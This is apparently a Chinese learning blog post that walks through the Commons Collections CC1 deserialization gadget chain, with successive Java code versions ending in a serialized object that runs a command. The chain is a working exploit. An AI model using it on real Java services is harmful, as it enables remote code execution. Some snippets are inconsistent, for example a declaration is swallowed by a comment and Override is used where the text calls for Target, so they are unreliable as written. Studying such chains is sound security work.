CC链学习

image-20240505105657555

CC1

组件介绍

​ Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。

作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

​ Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。

环境搭建

需要先配置jdk,jdk<8u71即可,我用的是JDK8u65

因为jdk自带的包里面有些文件是反编译的.class文件,我们没法清楚的看懂代码,为了方便我们调试,我们需要将他们转变为.java的文件,这就需要我们安装相应的源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载后找到压缩包文件加下的sun文件夹

image-20240227190158165

把他移动到/jdk8/src文件夹

image-20240227190423912

在IDEA里导入

image-20240227190504953

https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1

打开IDEA 新建一个Maven项目 选择 org.apache.maven.archetypes:maven-archetype-webapp

导入commons collections maven依赖,好好好,搞了半天我这老是报错,原来是缩进问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>untitled</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
</project>

反序列化调用的基本过程

image-20240228195216974

分析

CC1的入口/源头是Transformer接口中的transform方法(废了老大事了,即便是能搜索前面挨个找加上修环境将近2小时了。。。)

image-20240227212741201

方法一:image-20240227212909054

方法二:(Ctrl+Alt+F7)

image-20240227212957225

这边来到了InvokerTransformer类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

}

接收一个方法值,然后进行参数调用

平常调用方法执行命令可以直接

1
2
3
4
5
6
7
8
import java.io.IOException;

public class cc1 {
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("calc");
}
}

普通反射调用的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.io.IOException;
import java.lang.reflect.Method;

public class cc1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Runtime runtime = Runtime.getRuntime();

Class c = Runtime.class;
Method exec =c.getMethod("exec",String.class);
exec.invoke(runtime,"calc");

}
}

如果我们利用transform方法呢,先看一下transform的方法使用

image-20240228193710294

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;
import java.lang.reflect.Method;

public class cc1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Runtime runtime = Runtime.getRuntime();

// Class c = Runtime.class;
// Method exec =c.getMethod("exec",String.class);
// exec.invoke(runtime,"calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

}
}

现在我们知道了InvokerTransformer类可以调用transform()方法执行命令,接下来顺着思路就需要去寻找一下哪里调用了InvokerTransform的transform方法

这里我们找到了TransformedMap类(这里利用transform的方法多好下手,3个map类大概都可以,小白,不太理解)

image-20240228195716208

看看TransformedMap类的checkSetValue函数

看该函数调用了valuetransformer,去看看valuetransformer

image-20240228200626821

我们要执行命令,自然要可控的参数又是protect,自然要在内部寻找,找到掉头Valuetransformer的类

image-20240228200929971

我们再看看是谁调用了TransformedMap类的构造函数。

找到decorate方法

image-20240228201327401

image-20240228201955346

它接受一个Map对象以及两个Transformer对象作为参数,并返回一个装饰后的Map对象。这个方法的作用是对原始Map对象进行转换,然后返回一个新的装饰后的Map对象。

AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法 调用了 TransformedMap类中的checkSetValue()方法

image-20240228202836276

而且我们可以看到AbstractInputCheckedMapDecorator类其实上是Transformedmap的父类。image-20240228202911270

加上TransformedMap类 和 AbstractInputCheckedMapDecorator类中的MapEntry类 后,我们尝试用代码实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;


public class cc1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Runtime runtime = Runtime.getRuntime();

// Class c = Runtime.class;
// Method exec =c.getMethod("exec",String.class);
// exec.invoke(runtime,"calc");
//原版
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
InvokerTransformer InvokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map= new HashMap<>();
map.put("say","b链子好难");
//TransformedMap.decorate方法调用TransformedMap的构造方法
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,InvokerTransformer);
//构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。

//AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法(作用是遍历map) 调用了 TransformedMap类中的checkSetValue()方法
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
//TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value)
//相当于invoker.transform(value),value就是上面entry.setValue(runtime)方法的参数runtime。



}
}

咱们继续看看是哪个类调用了setValue方法,找到了``AnnotationInvocationHandler`

image-20240228211055760

不得不说这是在是太妙了,该方法还直接在readObject下

image-20240228211403434

但是该类没有public声明,只能在包内使用,我们要想调用他需要利用到反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class cc1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Runtime runtime = Runtime.getRuntime();

// Class c = Runtime.class;
// Method exec =c.getMethod("exec",String.class);
// exec.invoke(runtime,"calc");
//原版
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
InvokerTransformer InvokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map= new HashMap<>();
map.put("say","b链子好难");
//TransformedMap.decorate方法调用TransformedMap的构造方法
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,InvokerTransformer);
//构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。

//AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法(作用是遍历map) 调用了 TransformedMap类中的checkSetValue()方法
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
//TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value)
//相当于invoker.transform(value),value就是上面entry.setValue(runtime)方法的参数runtime。
Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o=annotationInvocationhdlConstructor.newInstance(Override.class,transformedMap);
serialize(o); //序列化
unserialize("ser.bin"); //反序列化
}

//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

问题解决

有几个问题

第一个,``AnnotationInvocationHandlerreadObject`调用的setValue()参数不可控

image-20240228212707750

第二个,AnnotationInvocationHandler类的readObject()方法 要是想调用setValue()方法,得绕过两个if判断。

image-20240228212914814

第三个,Runtime类没有继承Serializable接口,不可以被序列化

我们先看问题3

Runtime不能被反序列化,但是Class可以被序列化

image-20240228213534005

哈哈哈又是反射

1
2
3
4
5
6
7
8
9
10
11
12
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class main {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Class clazz = Runtime.class;
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Method cmdMethod = clazz.getMethod("exec", String.class);
cmdMethod.invoke(cmd, "calc");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class cc1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Method getRuntimeMethod=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

Transformer[] transformers;
transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map= new HashMap<>();
map.put("say","b链子好难");
//TransformedMap.decorate方法调用TransformedMap的构造方法
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
//构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。 Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o=annotationInvocationhdlConstructor.newInstance(Override.class,transformedMap);
serialize(o); //序列化
unserialize("ser.bin"); //反序列化
// }

}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}


我们调试一下,会发现到第一个if判断时,条件是memberType != null。目前我们的memberType是空(null)。第一个if就过不去。

仔细审计源码后发现,memberType是获取注解中成员变量的名称,然后并且检查HashMap键值对中键名是否是对应的名称。注解类(Target或者Override)

image-20240228222051292

里解释为什么前文注解类我们使用Target而不是Override。因为Override没有成员变量,而Target有成员变量名称是value

image-20240228222112854

image-20240228222124386

最后调试一遍能过第一个判断

第二个if判断能不能强转,我们传的肯定强转不了,就一定能过。

最后我们来解决我们的问题1 :AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。

我们的目标是使得setValue()方法的参数是Runtime.class。

聚焦到org.apache.commons.collections.functors包下的ConstantTransformer类。它里面的transform就是返回我们传入的对象,如果我们传入Runtime.class,那返回的也即是Runtime.class。我们可以利用ConstantTransformer类解决问题1。
image-20240228222701197

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class cc1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Method getRuntimeMethod=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

Transformer[] transformers;
transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// Class c = Runtime.class;
// Runtime r=(Runtime) getRuntimeMethod.invoke(null,null);
// Method execmethod=c.getMethod("exec",String.class);
// execmethod.invoke(r,"calc")
// Method exec =c.getMethod("exec",String.class);
// exec.invoke(runtime,"calc");
//原版
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
// InvokerTransformer InvokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map= new HashMap<>();
map.put("say","b链子好难");
//TransformedMap.decorate方法调用TransformedMap的构造方法
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
//构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。

//AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法(作用是遍历map) 调用了 TransformedMap类中的checkSetValue()方法
// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(runtime);
// }
// //TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value)
// //相当于invoker.transform(value),value就是上面entry.setValue(runtime)方法的参数runtime。
Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o=annotationInvocationhdlConstructor.newInstance(Override.class,transformedMap);
serialize(o); //序列化
unserialize("ser.bin"); //反序列化
// }

}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}




image-20240228224832492